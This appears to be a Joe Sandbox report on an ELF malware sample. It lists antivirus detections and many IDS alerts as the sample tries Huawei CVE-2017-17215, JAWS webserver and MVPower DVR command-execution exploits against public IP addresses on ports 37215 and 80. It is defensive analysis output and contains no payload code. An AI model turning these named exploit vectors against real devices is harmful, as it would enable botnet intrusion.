Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.191.106

Timestamp:	06/10/24-15:38:00.205114
SID:	2829579
Source Port:	43116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 153.123.46.180

Timestamp:	06/10/24-15:38:02.103189
SID:	2030092
Source Port:	54126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 158.214.75.80

Timestamp:	06/10/24-15:37:59.804504
SID:	2030092
Source Port:	35958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.39.55.229

Timestamp:	06/10/24-15:38:00.206692
SID:	2829579
Source Port:	47676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.112.119.1

Timestamp:	06/10/24-15:38:00.260140
SID:	2835222
Source Port:	46142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.30.85

Timestamp:	06/10/24-15:38:02.508359
SID:	2829579
Source Port:	58330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.9.130

Timestamp:	06/10/24-15:38:00.247270
SID:	2835222
Source Port:	59752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: s8y4CBbFHW.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: s8y4CBbFHW.elf

ReversingLabs: Detection: 71%

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37862 -> 203.54.242.166:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:32824 -> 70.109.71.255:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37862 -> 203.54.242.166:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35674 -> 151.218.172.48:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:32824 -> 70.109.71.255:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58648 -> 50.13.193.163:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35674 -> 151.218.172.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53434 -> 70.156.171.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43434 -> 57.244.132.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58648 -> 50.13.193.163:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35872 -> 194.55.24.22:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53434 -> 70.156.171.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50134 -> 102.230.19.253:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43434 -> 57.244.132.164:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45956 -> 20.2.48.78:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35872 -> 194.55.24.22:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60126 -> 88.157.63.21:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50134 -> 102.230.19.253:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39338 -> 193.5.227.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45956 -> 20.2.48.78:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49156 -> 181.171.108.67:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60126 -> 88.157.63.21:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54128 -> 115.56.153.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39338 -> 193.5.227.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59898 -> 213.227.25.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49156 -> 181.171.108.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59220 -> 32.111.100.187:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54128 -> 115.56.153.54:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37506 -> 115.165.178.143:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59898 -> 213.227.25.210:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39218 -> 9.203.151.161:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59220 -> 32.111.100.187:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40246 -> 96.121.230.115:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37506 -> 115.165.178.143:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46042 -> 31.24.128.114:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39218 -> 9.203.151.161:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41002 -> 173.150.225.180:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40246 -> 96.121.230.115:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52842 -> 181.232.47.252:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46042 -> 31.24.128.114:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37488 -> 86.102.128.211:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41002 -> 173.150.225.180:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39842 -> 13.159.171.238:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52842 -> 181.232.47.252:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42016 -> 195.50.200.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37488 -> 86.102.128.211:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47840 -> 99.27.23.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39842 -> 13.159.171.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35958 -> 158.214.75.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42016 -> 195.50.200.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40556 -> 84.162.2.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47840 -> 99.27.23.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35328 -> 51.33.7.198:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35958 -> 158.214.75.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54380 -> 167.251.162.140:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40556 -> 84.162.2.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55620 -> 46.11.146.222:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35328 -> 51.33.7.198:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53776 -> 78.199.201.121:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54380 -> 167.251.162.140:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40194 -> 111.31.234.213:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55620 -> 46.11.146.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48502 -> 145.193.92.118:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53776 -> 78.199.201.121:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34326 -> 161.147.107.200:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40194 -> 111.31.234.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48068 -> 189.244.26.215:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48502 -> 145.193.92.118:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51382 -> 160.158.220.221:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34326 -> 161.147.107.200:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35066 -> 74.221.113.140:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48068 -> 189.244.26.215:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53462 -> 220.219.206.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51382 -> 160.158.220.221:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51492 -> 154.68.192.29:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35066 -> 74.221.113.140:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40004 -> 184.225.110.223:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53462 -> 220.219.206.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34216 -> 39.251.150.235:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51492 -> 154.68.192.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33900 -> 37.242.196.25:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40004 -> 184.225.110.223:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49276 -> 219.24.143.221:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34216 -> 39.251.150.235:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60926 -> 20.163.218.116:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33900 -> 37.242.196.25:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58522 -> 92.126.239.180:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49276 -> 219.24.143.221:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49620 -> 161.106.196.70:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60926 -> 20.163.218.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45994 -> 120.127.248.215:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58522 -> 92.126.239.180:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49022 -> 80.246.211.214:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49620 -> 161.106.196.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43560 -> 24.223.44.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45994 -> 120.127.248.215:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34410 -> 178.116.76.220:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49022 -> 80.246.211.214:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56400 -> 76.87.100.69:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43560 -> 24.223.44.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43590 -> 200.227.24.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43232 -> 80.234.35.77:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34410 -> 178.116.76.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37108 -> 86.248.77.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56400 -> 76.87.100.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52018 -> 20.192.68.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43590 -> 200.227.24.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49412 -> 64.204.248.79:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43232 -> 80.234.35.77:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42046 -> 195.209.166.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56778 -> 124.198.230.56:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37108 -> 86.248.77.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52018 -> 20.192.68.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39034 -> 152.83.224.204:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49412 -> 64.204.248.79:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52736 -> 96.171.224.255:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42046 -> 195.209.166.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57824 -> 135.106.4.49:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56778 -> 124.198.230.56:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39034 -> 152.83.224.204:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52736 -> 96.171.224.255:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:57824 -> 135.106.4.49:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49110 -> 156.143.243.166:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49110 -> 156.143.243.166:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60882 -> 41.1.16.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60882 -> 41.1.16.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55322 -> 41.112.237.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55322 -> 41.112.237.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60470 -> 156.57.11.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60470 -> 156.57.11.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44436 -> 156.190.41.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44436 -> 156.190.41.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33064 -> 41.251.69.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33064 -> 41.251.69.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41114 -> 156.18.195.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41114 -> 156.18.195.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45682 -> 41.117.101.224:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45682 -> 41.117.101.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33796 -> 156.205.253.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33796 -> 156.205.253.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32834 -> 156.249.70.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32834 -> 156.249.70.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37610 -> 156.89.39.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37610 -> 156.89.39.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53100 -> 41.97.23.92:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53100 -> 41.97.23.92:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56460 -> 156.32.132.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56460 -> 156.32.132.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56378 -> 156.60.90.199:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56378 -> 156.60.90.199:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38508 -> 156.67.226.82:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38508 -> 156.67.226.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47918 -> 197.192.210.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47918 -> 197.192.210.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51088 -> 156.185.143.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51088 -> 156.185.143.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45636 -> 197.11.121.199:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45636 -> 197.11.121.199:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56768 -> 41.92.127.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56768 -> 41.92.127.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49626 -> 197.53.161.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49626 -> 197.53.161.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33514 -> 156.78.13.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33514 -> 156.78.13.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41282 -> 156.97.36.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41282 -> 156.97.36.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55606 -> 197.142.203.17:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55606 -> 197.142.203.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34092 -> 41.30.124.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34092 -> 41.30.124.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60614 -> 156.10.20.117:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60614 -> 156.10.20.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46644 -> 156.79.10.64:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46644 -> 156.79.10.64:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53768 -> 156.31.27.232:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53768 -> 156.31.27.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33492 -> 197.125.224.191:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33492 -> 197.125.224.191:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53482 -> 156.82.1.213:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53482 -> 156.82.1.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39894 -> 197.56.205.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39894 -> 197.56.205.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46442 -> 156.98.83.218:37215
